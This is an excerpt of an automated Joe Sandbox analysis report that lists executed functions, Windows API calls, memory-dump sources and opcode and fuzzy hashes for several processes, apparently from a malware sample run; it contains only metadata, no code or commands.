Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: memcpy$strcmp
String ID: APPL_MD_PATH$APPL_PHYSICAL_PATH
API String ID: 2777782223-1639331726
Opcode ID: 529865da8bd7868b58bec6c1998783bd5b20ddbfae4be258b4af9b34c4f8e591
Instruction ID: a1808f7b6d0abe9a70965b460c45abb437514fb76f9543cc5300a1853dd8fd4a
Opcode Fuzzy Hash: 529865da8bd7868b58bec6c1998783bd5b20ddbfae4be258b4af9b34c4f8e591
Instruction Fuzzy Hash: 9231F9A1B0C38385FB78AB198C702B8A391AFD5BC5FA45031CA6D877CADE3CE5418350

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE5423EC Relevance: 6.1, APIs: 4, Instructions: 88fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7FE542416
ReadFile.KERNEL32 ref: 00007FF7FE5424A3
GetLastError.KERNEL32 ref: 00007FF7FE5424AD

Part of subcall function 00007FF7FE543604: GetSystemTimeAsFileTime.KERNEL32(?,?,?,00007FF7FE5424F1), ref: 00007FF7FE54360D

LeaveCriticalSection.KERNEL32 ref: 00007FF7FE5424FB

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: CriticalFileSectionTime$EnterErrorLastLeaveReadSystem
String ID:
API String ID: 3549092184-0
Opcode ID: 2f5b29ceac32f6b0f2209fb83a5128f35916583dd9ff2f2b4eb4ca1aa8e90fcb
Instruction ID: 1ab7673cf2c17cc74a6ae65e40a2c5616ad420b527ca8b8723278ac470a8b0de
Opcode Fuzzy Hash: 2f5b29ceac32f6b0f2209fb83a5128f35916583dd9ff2f2b4eb4ca1aa8e90fcb
Instruction Fuzzy Hash: D6316D35A0C65AC6EB20AB16E970239B360EBC4B90FA44535CB6E43BD5DF3DE4418790

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE5419AC Relevance: 6.1, APIs: 4, Instructions: 76fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF7FE5419D6
WriteFile.KERNEL32 ref: 00007FF7FE541A36
GetLastError.KERNEL32 ref: 00007FF7FE541A40
LeaveCriticalSection.KERNEL32 ref: 00007FF7FE541A99

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: CriticalSection$EnterErrorFileLastLeaveWrite
String ID:
API String ID: 1726892732-0
Opcode ID: 05abcd5a71e36f057d09ec2d575ec0ec8fb3a2c532764fa13fe86f660c1f5831
Instruction ID: 08b5786d15ecc5b087dcca811ef990fb2ac382dadff0dfcf974f43e7c1609abf
Opcode Fuzzy Hash: 05abcd5a71e36f057d09ec2d575ec0ec8fb3a2c532764fa13fe86f660c1f5831
Instruction Fuzzy Hash: E8316132A0CA5286EB10AF16DD70178B761FB84BA4FA84532DA2D437D5CF38D85587D4

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE542D80 Relevance: 6.0, APIs: 4, Instructions: 29sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00007FF7FE542D96
DisposeAppDomainsIndirect.WEBENGINE4 ref: 00007FF7FE542DA3
DrainThreadPool.WEBENGINE4 ref: 00007FF7FE542DAD
Sleep.KERNEL32 ref: 00007FF7FE542DD0

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: Sleep$DisposeDomainsDrainIndirectPoolThread
String ID:
API String ID: 33770825-0
Opcode ID: 01b5d432c79148c5d4f289e515f93012e795df75cbfd57b637bc0877275bec7b
Instruction ID: 9e6ec161c9b1f5176b2a1c622e8d2771c7f3ed109094d0dba0473a6ce234ee93
Opcode Fuzzy Hash: 01b5d432c79148c5d4f289e515f93012e795df75cbfd57b637bc0877275bec7b
Instruction Fuzzy Hash: 64F0BD68E1C21646F75A77B45CB627891659FC0309FB01438C13F861D3DE6E649587B0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7FE542F90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF7FE542F9E
XspLogEvent.WEBENGINE4 ref: 00007FF7FE54300F

Strings

%d^0x%08x, xrefs: 00007FF7FE543005

Memory Dump Source

Source File: 00000010.00000002.3894045025.00007FF7FE541000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF7FE540000, based on PE: true

Associated: 00000010.00000002.3893910529.00007FF7FE540000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894308212.00007FF7FE547000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3894945535.00007FF7FE548000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54B000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000010.00000002.3895055541.00007FF7FE54D000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7fe540000_Microsoft.jbxd

Similarity

API ID: CurrentEventProcess
String ID: %d^0x%08x
API String ID: 1557529872-1044036643
Opcode ID: ea44bb03caae7e33733096d14cea265961cb4ae19632cb0ee420556d41073ca5
Instruction ID: 162189c82ee4cdde7630f9472e11b3c74c24b66d264ecd68447373bc1a3a51dd
Opcode Fuzzy Hash: ea44bb03caae7e33733096d14cea265961cb4ae19632cb0ee420556d41073ca5
Instruction Fuzzy Hash: 11018062E4C20386F76B25282D7A0398868FBC6304FF51235C87F176E4DC4FAA4093A1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ohvrxt.exePID: 1384, Parent PID: 3416COMMON

Execution Graph

Execution Coverage:	20.5%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFAAC3913E9 Relevance: 1.7, Strings: 1, Instructions: 421
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

)Y, xrefs: 00007FFAAC391783

Memory Dump Source

Source File: 00000014.00000002.2517367011.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac390000_ohvrxt.jbxd

Similarity

API ID:
String ID: )Y
API String ID: 0-3151686404
Opcode ID: e0930e8bf056f85e0f749f22a4467c8d86129509d46c0d6bf0920f063c45580d
Instruction ID: 4358fe50b7a0329af57b6bd9072078aa475d6a91586fd14ffcb54a5bf33c6c46
Opcode Fuzzy Hash: e0930e8bf056f85e0f749f22a4467c8d86129509d46c0d6bf0920f063c45580d
Instruction Fuzzy Hash: 64D1387290EB858FE755DB3888659A4BFE0EF56300F0941FBD18DC71A3D929E849C392

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC254E49 Relevance: 1.6, APIs: 1, Instructions: 134
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE ref: 00007FFAAC254F0D

Memory Dump Source

Source File: 00000014.00000002.2507425353.00007FFAAC250000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac250000_ohvrxt.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9d0f6f1323664ce45f72a07d37e3ff9aecff65f8102ad4217b1316222998f05f
Instruction ID: ec16144544fdf8a69d98930f970f97c33af6fb8ddcf63f6eb52c8d90b75dcfa6
Opcode Fuzzy Hash: 9d0f6f1323664ce45f72a07d37e3ff9aecff65f8102ad4217b1316222998f05f
Instruction Fuzzy Hash: 5A31D671D0CB4C8FDB18AB6D98066FE7BE1EB95711F00826FE049D3256DE74A80987C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC39082B Relevance: 1.0, Instructions: 1013COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2517367011.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac390000_ohvrxt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 465812681717f8ed409a0e9b505fc92099dbe1ae4b1405d92da2d87b59e6c8fe
Instruction ID: 56062f8f3c494e0efd3904665c968cb5e96e86c23528b47b16d9e6cab8d3e3f0
Opcode Fuzzy Hash: 465812681717f8ed409a0e9b505fc92099dbe1ae4b1405d92da2d87b59e6c8fe
Instruction Fuzzy Hash: 4C62087180EB868FF755DB6888659A4BFE0FF56300F0441FED08DDB192DA29A84AC7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC3921F0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2517367011.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac390000_ohvrxt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6ccebcfb4c967b565764da064e9c3243f006ff1875723e1469b16b44d0c5a33
Instruction ID: 3ff5b58dffbdb05ddc09d447bb88c9c1e8697b07a6c009d955ff1d6b3c62808c
Opcode Fuzzy Hash: d6ccebcfb4c967b565764da064e9c3243f006ff1875723e1469b16b44d0c5a33
Instruction Fuzzy Hash: BAF0CD71A1895D8FDFA5DA58D844BE9B7B1EB68311F0085E6908DE3201DA30AAC58F81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC390330 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2517367011.00007FFAAC390000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffaac390000_ohvrxt.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d25326839cbd9771026f5e2bebf33051c0a02d1112c25ae3d7ef0952fe2c97b1
Instruction ID: 8c92e5a4b2fc9ec267711a194aca59b312f8d099f3dc0d4c9636215da7df5fa6
Opcode Fuzzy Hash: d25326839cbd9771026f5e2bebf33051c0a02d1112c25ae3d7ef0952fe2c97b1
Instruction Fuzzy Hash: A0E0CD52708D090FE7D4A55D3CD457892D3D7D9111398417FD40EC62DADD18CC464340

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: hgzxhw.exePID: 3660, Parent PID: 3416COMMON

Executed Functions

Function 00007FFAAC252A21 Relevance: 2.7, Strings: 1, Instructions: 1472COMMON

Download Yara Rule

Strings

N, xrefs: 00007FFAAC253517

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-755917593
Opcode ID: a93c314f8de94e06fd8e96f5b7f57485b2c95f7d66801de180d97559da2bdb09
Instruction ID: bd7581638196d05cec348d6c60fbc5c0ea2893a6a1e90a326783dcec6cb89b6b
Opcode Fuzzy Hash: a93c314f8de94e06fd8e96f5b7f57485b2c95f7d66801de180d97559da2bdb09
Instruction Fuzzy Hash: 3BA2163151DB4A8FE319EB28C4944B5B7E1FF96301B1485BED48EC73A6DA38E849C781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC249DB0 Relevance: 2.0, Strings: 1, Instructions: 726COMMON

Download Yara Rule

Strings

d, xrefs: 00007FFAAC24B8BF

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID: d
API String ID: 0-2564639436
Opcode ID: 69830909a5bcf34dfe2e36a52831d2c7e33b06d88dea474e063711f1ce92d8d9
Instruction ID: a309f0944a4ce0fd866e2ebcacab908c952197a721998e9160d8e0eb9e0220b3
Opcode Fuzzy Hash: 69830909a5bcf34dfe2e36a52831d2c7e33b06d88dea474e063711f1ce92d8d9
Instruction Fuzzy Hash: FD225731A1DE498FE759EF28D48197177E0EF56310B1481BED48EC729BDE28E84A87C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC2555A9 Relevance: 1.7, Instructions: 1659COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4f16aaa5554b0c7e0d936f0df4dd9915cdb086bb5ad0b115de0cfc9f1054b5a
Instruction ID: 07d0ab410ce3d61f702df27fa8ca20341845b8ed7aa3e01d3248b3fcbbee7713
Opcode Fuzzy Hash: d4f16aaa5554b0c7e0d936f0df4dd9915cdb086bb5ad0b115de0cfc9f1054b5a
Instruction Fuzzy Hash: 3DB25C3161DB498FE719DB28C4414B677E1FF86301B1485BED48AC73AADE39E84AC781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC252599 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63cc21750868cc79480c1126e71ed6f2d271ec0322cd0aa256eb56c2b67cb481
Instruction ID: aeaf7bc3e2e84bad5d95f07368ef816e3ff0fea177f88d933dd6dc4b4d92c0f0
Opcode Fuzzy Hash: 63cc21750868cc79480c1126e71ed6f2d271ec0322cd0aa256eb56c2b67cb481
Instruction Fuzzy Hash: 58E14731509B9A8FE31DD724849557277E1FF92301B1486BED48AC73EADA38E84AC7C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24B1D1 Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 137efec659d614a526c6d4b0d21fd8f2be2d37029883fc59dc6555cc0163b1ff
Instruction ID: d875e37bc66758c77d1ed7033666538cb8856595f122360f10a8352aaf884611
Opcode Fuzzy Hash: 137efec659d614a526c6d4b0d21fd8f2be2d37029883fc59dc6555cc0163b1ff
Instruction Fuzzy Hash: 1481E771A1CA4A8FE758FB28D8554B973E1FF95311B00467EE48FC3296DE24F84A46C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24E4D8 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

aN_I, xrefs: 00007FFAAC24E604

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID: aN_I
API String ID: 0-3942209311
Opcode ID: 14d9135517027c38a725c607e18e81946136f820008d82d5650f713af18c8214
Instruction ID: 1796a2badfeb70cc75d74b2b49eaa75e8fd376d0a9403e8aa1d5b8e340130ae3
Opcode Fuzzy Hash: 14d9135517027c38a725c607e18e81946136f820008d82d5650f713af18c8214
Instruction Fuzzy Hash: 1E611753A0EAD18BF215737CE9150F86B90EF42710B0881BBD0CDCB69BE819D94E83D5

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24D5F6 Relevance: 1.4, Strings: 1, Instructions: 157COMMON

Download Yara Rule

Strings

+0, xrefs: 00007FFAAC24D5FF

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID: +0
API String ID: 0-3029883225
Opcode ID: bbab18fbb8d1a12b97bac79324059d8d5bb7dc2ff95658d3fb72eb60eb622064
Instruction ID: 99bb2c12bf578b7093f8e11d2a0f80fef064c5025a0c62f10ac3eea087a2dd5e
Opcode Fuzzy Hash: bbab18fbb8d1a12b97bac79324059d8d5bb7dc2ff95658d3fb72eb60eb622064
Instruction Fuzzy Hash: C651C53590991A8FEF89EF24C490AD977E1FF55304F1146A8C01ADF2AACA34F54ACBC0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC2534C8 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

N, xrefs: 00007FFAAC253517

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID: N
API String ID: 0-755917593
Opcode ID: e2e19446baf1ad8a121ecaca1495175539fc351af720406349ae760cc6af12e8
Instruction ID: 4e96317cfae5d14eeb741628b5235483bb6977a7a9b0ec2d173c05f99c0959e4
Opcode Fuzzy Hash: e2e19446baf1ad8a121ecaca1495175539fc351af720406349ae760cc6af12e8
Instruction Fuzzy Hash: EC31A472E18A4D8FEB94EB9CE4559ADBBE0FF55310F04417AD00DD7255DA34A845C780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC254900 Relevance: .7, Instructions: 707COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 716fa3d6323cb96f3312bd23fd494782011219941daee9dc47a44e991699ca69
Instruction ID: 2a55ccae5b468bcf774c6e38aad71d44ad64f202fdb38c6552dea127cc1388d4
Opcode Fuzzy Hash: 716fa3d6323cb96f3312bd23fd494782011219941daee9dc47a44e991699ca69
Instruction Fuzzy Hash: F0224921A0EA4E8FF799EB28845557677D1EF96310B0481BDD48EC739ADD1DE80E83C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC2502A0 Relevance: .5, Instructions: 463COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 735e8ec9343de5c34a8b7f5b61e53f3c6e02151838e00e8cf07372aed50f4ed1
Instruction ID: 99b7ef46c3074960f81378f997ec41e6f931b3333b5179014ed77292dd7e8511
Opcode Fuzzy Hash: 735e8ec9343de5c34a8b7f5b61e53f3c6e02151838e00e8cf07372aed50f4ed1
Instruction Fuzzy Hash: 87D1143161DB498FE319EB2898515B2B7E0FF5631071485BED08FC7697DA29F80B8781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24F1D0 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a80da5021af4cac33b902a20f0590a4cea9c4ea1a48699f13c28db2f965d29c1
Instruction ID: bded7ca1c329860f2ceba092deea2248eacd65df19be9eda59b3d0f6c60f947e
Opcode Fuzzy Hash: a80da5021af4cac33b902a20f0590a4cea9c4ea1a48699f13c28db2f965d29c1
Instruction Fuzzy Hash: EB912C71A1DA4D8FE758F76C84595B97BD1FF9A200B0441BED44EC72E6DE18A80A83C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC25AAB0 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 098671e5a8f3c5dc8ef63fdab0b45dcb8df9421525e33e05bb1b25fe5c80f7ef
Instruction ID: 72798ad9bbd63d6e25e0d0a1fb442ccf1a7a615722d9aead8a7b2bd4698b1b77
Opcode Fuzzy Hash: 098671e5a8f3c5dc8ef63fdab0b45dcb8df9421525e33e05bb1b25fe5c80f7ef
Instruction Fuzzy Hash: D181F652A1CB8ACFE759A73884516B2B7A1FF51210F4482BED08FC75A7DD2DE8088791

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC257A02 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b08d497aed4dc9185fe0e4c5b5635502f8e95a631426768738096a74d7ae2e24
Instruction ID: 243f1028d7de6b6df32df63f8cc7c93dcb93ae3ba84e552f47fb1f527b2a265a
Opcode Fuzzy Hash: b08d497aed4dc9185fe0e4c5b5635502f8e95a631426768738096a74d7ae2e24
Instruction Fuzzy Hash: D781237196E68ACFF764EB18944167637E1EF96700F0480BDD48EC729AD92CE80E8380

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC248980 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57601dd656b41156f91fb5c4da9e95e12a85227f793aeffb42b8d4572bb430b4
Instruction ID: 5935af10b69424b3338b651757e367fb4efc1bc4b49fd2964fd66a275f40dbae
Opcode Fuzzy Hash: 57601dd656b41156f91fb5c4da9e95e12a85227f793aeffb42b8d4572bb430b4
Instruction Fuzzy Hash: 6D710431529A098FE729EB18D8415B6B3E0FF56304B1085BDD48FC769ADA39F80B87C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC257A72 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a20fd7475ad0e68389f4f2937b27d17b004fdb837567a4a558cc3a9190b840b
Instruction ID: 08a6004d346e3520518753350c5f71d494ebfa7b46b5b6c0e7fd58399d51c700
Opcode Fuzzy Hash: 4a20fd7475ad0e68389f4f2937b27d17b004fdb837567a4a558cc3a9190b840b
Instruction Fuzzy Hash: 0161127296E68ECFF364EB1484025A537E0EF56710B1441BDC44EC729AE92CE80E87C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC249EB5 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4fd615bcecd5ab984da331b950d8d14be07e1834c79035a5e356f9f8fe97b68
Instruction ID: c5e877daab48742efb137df463908b1b3f4af362a94fa83f316c08203a5b5abf
Opcode Fuzzy Hash: c4fd615bcecd5ab984da331b950d8d14be07e1834c79035a5e356f9f8fe97b68
Instruction Fuzzy Hash: 9151058291F7C1CFF345A3A899161B87FA1AF12610B48C1FFD0C90B69BD81AD84D87D6

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC2569C7 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7a515e9d93fe995d48d8f6dc550c7f94072849d14a7824e6faeb7a2014b2b04
Instruction ID: 1178277ee573cbc257f3219bd9e1daeecd8c14fdc61a43229f4bdf9352b2324b
Opcode Fuzzy Hash: a7a515e9d93fe995d48d8f6dc550c7f94072849d14a7824e6faeb7a2014b2b04
Instruction Fuzzy Hash: AD518675E18A4D8FE784EB6888597ADBBE1FF59300F1481BDD04DD73A2CE3858458B80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24A589 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab7147714ed8aebb47ab3d4a3f5e0f846d104be59dd55c73710da608e42fe7a2
Instruction ID: 4176915969d20b90b7b98e8b6429e7b58dceb73fb3d58d37f5d73c4b1bbf898d
Opcode Fuzzy Hash: ab7147714ed8aebb47ab3d4a3f5e0f846d104be59dd55c73710da608e42fe7a2
Instruction Fuzzy Hash: 6F410612A0DA8A8FF755B768D9592B83BD0EF56211F0881BBD04EC72D7DD08988D83C2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFAAC24A1E0 Relevance: .1, Instructions: 145COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2410800213.00007FFAAC248000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC248000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ffaac248000_hgzxhw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a689f54b238b8cb542dd34b68bb37b4461bb7f5047a08c7ca6c0c3fb2e1acf7b
Instruction ID: 8ea74317fcc8d61cee9beb23dc8d79067bd337291295a5f35a5fc3cf353bbcfa
